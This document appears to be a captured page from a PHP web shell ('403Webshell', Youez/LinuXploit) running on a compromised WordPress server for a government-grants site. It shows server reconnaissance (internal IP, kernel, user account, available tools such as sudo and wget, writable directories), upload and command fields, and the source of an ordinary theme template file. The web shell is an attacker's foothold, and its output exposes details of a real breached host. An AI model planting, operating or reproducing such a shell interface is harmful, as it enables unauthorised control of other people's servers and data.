403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/governmentgrants.us/wp-content/themes/governmentgrantsus/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/governmentgrants.us/wp-content/themes/governmentgrantsus/page-documentation.php
 <?php
/**
  * Template Name: Documentation Page
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/#single-post
 *
 * @package WordPress
 */
get_header();
?>
<?php 
$thumbImg = get_the_post_thumbnail_url( get_the_ID(), 'large' );
if(!empty($thumbImg)){
$pageImg = get_the_post_thumbnail_url( get_the_ID(), 'large' );
}else{
$pageImg = get_template_directory_uri()."/images/business-banner.jpg";
}
?>
<section class="businessBanner" style="background: url(<?php echo $pageImg;?>) center center no-repeat">
        <div class="container">
            <h1><?php the_title();?></h1>
        </div>
</section>

<section class="documentationBx">
            <div class="container">
                <div class="documentation">
                    <?php 
                    while ( have_posts() ) : the_post(); 
                    the_content();
                    endwhile; 
                    ?> 
                    <ul>
                                            
                        <?php 
                        query_posts(array(
                        'post_type' => 'documentation-pdf',
                        'order' => 'DSC',
                        'post_status'    => 'publish',
                        'posts_per_page' => 10
                        )); 
                        while (have_posts()) : the_post();              
                        $imageURL = get_the_post_thumbnail_url($post->ID, 'large');
                        $webURL = get_post_meta($post->ID, 'documentation_url', true);
                        $pdfLink = get_post_meta($post->ID, 'documentation_pdf_link', true);
                        if (!empty($webURL) && !empty($imageURL)) {
                        $postDetail = '<a class="notempty" href="' . $webURL . '"><i><img src="' . $imageURL . '" alt="" /></i></a>';
                        } elseif (empty($webURL) && !empty($imageURL)) {
                        $postDetail = '<a class="notempty" href="javascript:void(0);"><i><img src="' . $imageURL . '" alt="" /></i></a>';
                        } else {
                        $postDetail = '<a class="imgEmpty" href="' . $webURL . '">' . get_the_title() . '</a>';
                        }
                        ?>
                        <li>
                        <?php echo $postDetail;?>
                        <span><a href="<?php echo $pdfLink;?>"><img class="downLoadIcon" src="http://dev.governmentgrants.us/wp-content/uploads/2024/03/pdf-svgrepo-com.svg">Download</a></span>
                        </li>
                        <?php 
                        endwhile; 
                        wp_reset_query();
                        ?>
                    </ul>
                </div>
            </div>
        </section>

<?php 
get_footer(); 
?> 

Youez - 2016 - github.com/yon3zu
LinuXploit